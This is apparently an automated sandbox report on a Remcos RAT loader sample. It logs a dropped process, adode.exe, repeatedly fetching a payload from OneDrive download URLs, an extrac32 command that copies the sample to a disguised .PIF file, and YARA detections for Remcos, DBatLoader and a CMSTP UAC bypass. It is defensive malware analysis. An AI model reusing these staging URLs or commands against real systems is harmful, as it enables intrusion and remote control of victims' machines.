2024-04-19 10:29:00 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://a4wlna.bn.files.1drv.com/y4mflJO_DSQpEJhUnhXpDgbo9zdT_az0NyPCpt_6qeEg_dxpc7f8ObiX7_nBis1eJejhUTWej_rT9LVzbU31lK18uoRZE6ljW5iQimzzw_0PSJfIRn083fRHRyx6byyMjO3GplQnuNKnkQXY7ueqS4peTdm-QVZ7bqc6YVe8aa8DMFSrBRiAVtDyMdPCjkbsDRWkMt_vd2drd41Ex059st1_w/255_Tuscpznjngw?download&psid=1 Set-Cookie: E=P:W+Hthltg3Ig=:sO3lRjiqUP4mv8KuKJHJ8mHjZ4M3wKFPvAWot6ZMmr8=:F; domain=.live.com; path=/ Set-Cookie: xid=beff889b-0300-4779-b670-3f764c11f06e&&ODSP-ODWEB-ODCF&147; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 19-Apr-2024 08:49:00 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Fri, 26-Apr-2024 10:29:00 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 676c7b6ddb-5pd2j X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 5A047ADCBEF14FB8852B63313AA1120D Ref B: BN3EDGE0505 Ref C: 2024-04-19T10:29:00Z Date: Fri, 19 Apr 2024 10:29:00 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49715	13.107.137.11	443	7148	C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 10:29:01 UTC	213	OUT	GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-04-19 10:29:02 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://a4wlna.bn.files.1drv.com/y4mzJ69NZkoQpPTH2L-y8c6KUoCTqNFGdhF4vTK8FEI11MdgHTbUFDdiW4StVR25-4M5B_zOxx-ejL1FUVVzi_9tJeCGg4kDXOy_xpt0fznX7KdwKujTWbxVj5RL0Pg6U9sA6ghqzh7UrvcREfli-G31ENrx6ZaqcuYFqLeNGw7I8v1xCrNgF_5Sk9VE2HHJgQPgz_6bQsGJ1FiMSklvIDYWA/255_Tuscpznjngw?download&psid=1 Set-Cookie: E=P:p9ENiFtg3Ig=:LE6EnRhBwQ5U/YaJd1Ug4ZEbZajT++DB+KpMMPY4yV8=:F; domain=.live.com; path=/ Set-Cookie: xid=3dc0d231-bc9b-4411-b34b-43d2f4ad4941&&ODSP-ODWEB-ODCF&147; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 19-Apr-2024 08:49:02 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Fri, 26-Apr-2024 10:29:02 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 676c7b6ddb-rz4f2 X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 8F04DDD899BE420EAEBFB2A4D4878B2E Ref B: BN3EDGE0506 Ref C: 2024-04-19T10:29:02Z Date: Fri, 19 Apr 2024 10:29:01 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49725	13.107.137.11	443	4080	C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 10:29:19 UTC	213	OUT	GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-04-19 10:29:19 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://a4wlna.bn.files.1drv.com/y4m9ba_jdWibhdjzsYE06pfSAK5jWM4VU1vegoZ9qZe8tcqBnFEF58-VGrGQaA0o6LrCKdMCOnuelj6_ZVbvQphtMaW7Axc5Sod9htmf2YK3F0T1v0-8x5vgFIzb9nJ7wd3QLl6xtUqMnWvZLEKUWuT89uRp1woVFogaldlC28_ESPL_xMgi0WdxoE8So4XmVYd3TxE8CZ-T-QpEUPIosU68w/255_Tuscpznjngw?download&psid=1 Set-Cookie: E=P:695Dkltg3Ig=:8rZk6J1xnQYfslFdFfXMwOxwZMIfFMaoUrW48D6etCQ=:F; domain=.live.com; path=/ Set-Cookie: xid=cf4a3ceb-2c15-4516-a3a4-6f670d3a45ac&&ODSP-ODWEB-ODCF&147; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 19-Apr-2024 08:49:19 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Fri, 26-Apr-2024 10:29:19 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 5fd6fc6db4-w8542 X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: A0F91B77C3E24C25B1F0F131730FDA91 Ref B: BN3EDGE0714 Ref C: 2024-04-19T10:29:19Z Date: Fri, 19 Apr 2024 10:29:18 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49728	13.107.137.11	443	4080	C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 10:29:21 UTC	213	OUT	GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-04-19 10:29:21 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://a4wlna.bn.files.1drv.com/y4mvk_lT5boh_iPYb0wYmj3dnm666r79FD-6z_HZ-hY6Y66LFtfIOWZUebIdcaHdlb7TUXk21DFqC6fC8QYVtNMssQhDe9HyXmK-53bOim7zSPOk7Csa4-q2YKroEMH1A_bokJyY_pUseNMHI3pK4D2XqKW2SvQC5sLNui6ZlbDEgFxfxgK8rulRPSyGQzJYLZ82rHhuXScGN3Sv1hUCBetUg/255_Tuscpznjngw?download&psid=1 Set-Cookie: E=P:tCl6k1tg3Ig=:hxfYbuJt1DHaEFJ/226hFuj9sx3UTMWrFWDEKqUSys8=:F; domain=.live.com; path=/ Set-Cookie: xid=951fd80a-dee6-4aa3-a5e8-7c7109931b57&&ODSP-ODWEB-ODCF&147; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 19-Apr-2024 08:49:21 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Fri, 26-Apr-2024 10:29:21 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 676c7b6ddb-ffklv X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 4314529F69BB4C33B94F68221693B846 Ref B: BN3EDGE0620 Ref C: 2024-04-19T10:29:21Z Date: Fri, 19 Apr 2024 10:29:21 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49731	13.107.137.11	443	4080	C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 10:29:24 UTC	213	OUT	GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-04-19 10:29:24 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://a4wlna.bn.files.1drv.com/y4meU6qisqp4Gm95uhgEmrD5Fk5T1BoqiLt4XZvMwv6bzlgKBxQJrakFKNYDfGzzjMGMAbkOIsjjpg35ztKkknafdhX1gP5v5pIF2Fin1EYDJ3bKfd-kbDzPyroLs9NlZejk_e2L6vUyY8H_IAx4L4yBTcm2RNok1TFAegiediHHS08fxyeRQqHClH9NqazFhWSgr8hmdN8M6u9g224f5Lg-w/255_Tuscpznjngw?download&psid=1 Set-Cookie: E=P:ZnpQlVtg3Ig=:g/rXCQUGtwno4MZioNP8nI9u5Q5vxDil3/eg1MT8yTI=:F; domain=.live.com; path=/ Set-Cookie: xid=947b8c80-b254-43eb-a6d1-f4caafb862b2&&ODSP-ODWEB-ODCF&147; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 19-Apr-2024 08:49:24 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Fri, 26-Apr-2024 10:29:24 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 676c7b6ddb-ffklv X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: D8E776AD1FF14FA4ABDDB6409E400721 Ref B: BN3EDGE0621 Ref C: 2024-04-19T10:29:24Z Date: Fri, 19 Apr 2024 10:29:23 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49734	13.107.137.11	443	3184	C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 10:29:28 UTC	213	OUT	GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-04-19 10:29:29 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://a4wlna.bn.files.1drv.com/y4mfofQo4Jx5tOJNhZDWOYrhRGtdfBGWqy2d78vx_wg2jl5XB4KU1BXnQM6qyvNh2XcHtDkdiK-otn7k-MS6LiKWVsmQk9VrWRr-fEXaSkfSrO3ckXWnEinolJYTXTzz3kPiDenuq_rroPukzxKkHdpndL0pNXkX5dZuQ9ul9gtnbm5BB5RDNAbAYdkutjOpLikSNfqckS4LJT8kosWPkSciQ/255_Tuscpznjngw?download&psid=1 Set-Cookie: E=P:hekdmFtg3Ig=:VikTTcWZ5P/V7whBIxy82/74hNOwR51tTUHXKJsYYvc=:F; domain=.live.com; path=/ Set-Cookie: xid=aa68a595-75d4-4148-ab8a-bd7c3a6a4c00&&ODSP-ODWEB-ODCF&147; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 19-Apr-2024 08:49:29 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Fri, 26-Apr-2024 10:29:29 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 5fd6fc6db4-w8542 X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: C91ABCE26D0F4786A99DB32D09540989 Ref B: BN3EDGE1122 Ref C: 2024-04-19T10:29:29Z Date: Fri, 19 Apr 2024 10:29:29 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49737	13.107.137.11	443	3184	C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 10:29:30 UTC	213	OUT	GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-04-19 10:29:31 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://a4wlna.bn.files.1drv.com/y4m67_YwdfhW1_NGi0lI13yi2alr81VskuX1YbezBP377RbJIewCJHhb6hr09Pi9MLD2Siry0cE3v8bpnern46bCtETlnjFEWMKnj5-aftBJ8Cz2xHGnb8PN7A04d3g_X06XYX1cilGmkYlqor6oBpdOwHIIA2y4oYh3ro1DNtbq34eXAvRe2JbDgXm5PN8z0alJqxgMVZGPUvFPGxtMDYiNg/255_Tuscpznjngw?download&psid=1 Set-Cookie: E=P:YpxJmVtg3Ig=:jA/51Io4usfDQltSVAh4BpGOOoR3zUE/ABAgVN7TbYQ=:F; domain=.live.com; path=/ Set-Cookie: xid=2bb50b95-c9b6-490c-a29c-a0a005423def&&ODSP-ODWEB-ODCF&147; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 19-Apr-2024 08:49:30 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Fri, 26-Apr-2024 10:29:31 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 676c7b6ddb-26mmx X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 657CCAFD71D542E092D35E11685D55FC Ref B: BN3EDGE0912 Ref C: 2024-04-19T10:29:30Z Date: Fri, 19 Apr 2024 10:29:30 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49740	13.107.137.11	443	3184	C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 10:29:32 UTC	213	OUT	GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-04-19 10:29:33 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://a4wlna.bn.files.1drv.com/y4mGsMbDhrqT4H8M3UmdvR3-ZbVnJl3xtwFC6_sGakQM9FticfdonZeXKszIrN9z6I03PL0NOQb_EkKGosNfbnvi2ok7MkYGBbZChO_JerIybUdPNKk6O4jKOiYnOIPmilyZUXnK0rKvhYI-QFkBU6XBF-VOIcYzXeaLUG7cxX0FAHByr4SObHN1-1TJPeM1x6MJ5duh0HHJQtOIqqSzK5FFw/255_Tuscpznjngw?download&psid=1 Set-Cookie: E=P:aDJwmltg3Ig=:D83T6inxU87qDO8/+MztfBodyAirGicGD/HiSTv/6gg=:F; domain=.live.com; path=/ Set-Cookie: xid=909de956-836e-4c13-867b-f23041c33c37&&ODSP-ODWEB-ODCF&147; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 19-Apr-2024 08:49:32 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Fri, 26-Apr-2024 10:29:33 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 676c7b6ddb-sz8tx X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: A5523615A153403EA75EEE7354AE335C Ref B: BN3EDGE0915 Ref C: 2024-04-19T10:29:32Z Date: Fri, 19 Apr 2024 10:29:32 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49743	13.107.137.11	443	3740	C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 10:29:45 UTC	213	OUT	GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-04-19 10:29:45 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://a4wlna.bn.files.1drv.com/y4mdUiIPYXNEP6x1E52EPBxdlhE4rBeiwVK6Xxu6EcclZKL23r2uWnP9oFy272cZk20H6j5xG_MQTLFa0NfdCzYRbHj3SvhQEZYjzbKwb5uJtHjhZrDY_eH8cD_sBxAevHTapONHkGz2bs7n1SND4mZMRORBL1310ZNAw3uYEcWtZmgPOZL-k_lHWpvfCl1cojej99-oJR9eb3IzJhciJfoCg/255_Tuscpznjngw?download&psid=1 Set-Cookie: E=P:VljdoVtg3Ig=:BvTytNFfC8aK7psEO7ZLc6JsxDJ2BAp1s2QhaBsMeUQ=:F; domain=.live.com; path=/ Set-Cookie: xid=bc6a6132-630b-44e3-879d-27b3f052e4d0&&ODSP-ODWEB-ODCF&147; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 19-Apr-2024 08:49:45 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Fri, 26-Apr-2024 10:29:45 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 5fd6fc6db4-q77mb X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: D57880B0BF3D4525AD5EDACCE3830A50 Ref B: BN3EDGE0210 Ref C: 2024-04-19T10:29:45Z Date: Fri, 19 Apr 2024 10:29:44 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49746	13.107.137.11	443	3740	C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 10:29:47 UTC	213	OUT	GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-04-19 10:29:47 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://a4wlna.bn.files.1drv.com/y4m_2nWPYECB6GG727a86yDNcKpSvinlMghbgmzHI5CeDEw_jORpzSM1CuFAwn4HKQA8FbDf_uy-Q3soncoG_3bhICEZkEuqXV9YOOZHGPZHUgHDOjkoBXeAaL1DeQLM94JNnQBPvxyfI4QCXV25RHe5UPZA7L55WfPHJUdpZ5JVqaXqss_Gya5zBoZh-AeBLoJ4lWCrwAzRIUeCWUKNo_r-w/255_Tuscpznjngw?download&psid=1 Set-Cookie: E=P:gYAAo1tg3Ig=:dL6Gt2EsFPgu3iuos6jF7i6czlieMp/MjPMYG3wyB/8=:F; domain=.live.com; path=/ Set-Cookie: xid=e9c878e3-4e76-4b5d-b5ea-8c636fc13d7e&&ODSP-ODWEB-ODCF&147; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 19-Apr-2024 08:49:47 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Fri, 26-Apr-2024 10:29:47 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 5fd6fc6db4-qphtx X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 97D430B10F6A4AD989179A246CABD133 Ref B: BN3EDGE0808 Ref C: 2024-04-19T10:29:47Z Date: Fri, 19 Apr 2024 10:29:47 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49749	13.107.137.11	443	3740	C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 10:29:49 UTC	213	OUT	GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-04-19 10:29:49 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://a4wlna.bn.files.1drv.com/y4m4b_CI5cntsyPGAhte_fX6_xd82TcwGf6-ScttL3rVGbniBmLrVX3xFBr0Xin3k3K5630VgmMxpTtnEeTTzvMoczxLzGqXk9MmTH2J8CP-wotPqGAFlnu9W2qFoEeLEL-Lbxt6VBZpE11KycwU4FvJ0QfAM9BU4BGrs1vtVyidZD3iFEAJ7nbiBjq9skwE5eWBOcF6kpGf8Mi8wOMIoSBlQ/255_Tuscpznjngw?download&psid=1 Set-Cookie: E=P:pr8ppFtg3Ig=:hKeeW2whEEF+pWwFAswE12MgSLJ1rgdII/oEflpYYv0=:F; domain=.live.com; path=/ Set-Cookie: xid=3918606c-ed30-4b46-b8db-2d077e89444a&&ODSP-ODWEB-ODCF&147; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 19-Apr-2024 08:49:49 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Fri, 26-Apr-2024 10:29:49 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 676c7b6ddb-8qntt X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: A5CC77FA2A30479D9237786FE7ACA93B Ref B: BN3EDGE0508 Ref C: 2024-04-19T10:29:49Z Date: Fri, 19 Apr 2024 10:29:49 GMT Connection: close Content-Length: 0

Target ID:	0
Start time:	12:28:48
Start date:	19/04/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe"
Imagebase:	0x400000
File size:	1'139'200 bytes
MD5 hash:	111687A32C1B81BC69E1C1F1A8542A73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.2134604580.0000000000902000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.2159845024.000000007EDF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.2159845024.000000007EDF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000000.00000002.2159845024.000000007EDF0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.2161341273.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.2135408936.0000000000A3F000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:28:55
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe C:\\Users\\Public\\Libraries\\Tuscpznj.PIF
Imagebase:	0x820000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:28:56
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Skype\adode.exe"
Imagebase:	0x400000
File size:	1'139'200 bytes
MD5 hash:	111687A32C1B81BC69E1C1F1A8542A73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3002735262.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3012377467.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2953713340.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3223217832.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3306200253.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4089720835.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4059114885.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3405385976.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3021986254.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2586692141.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2665633974.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2593724777.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3012377467.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4179192099.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.4150487956.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.3479934068.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2665633974.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000004.00000003.2699820103.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 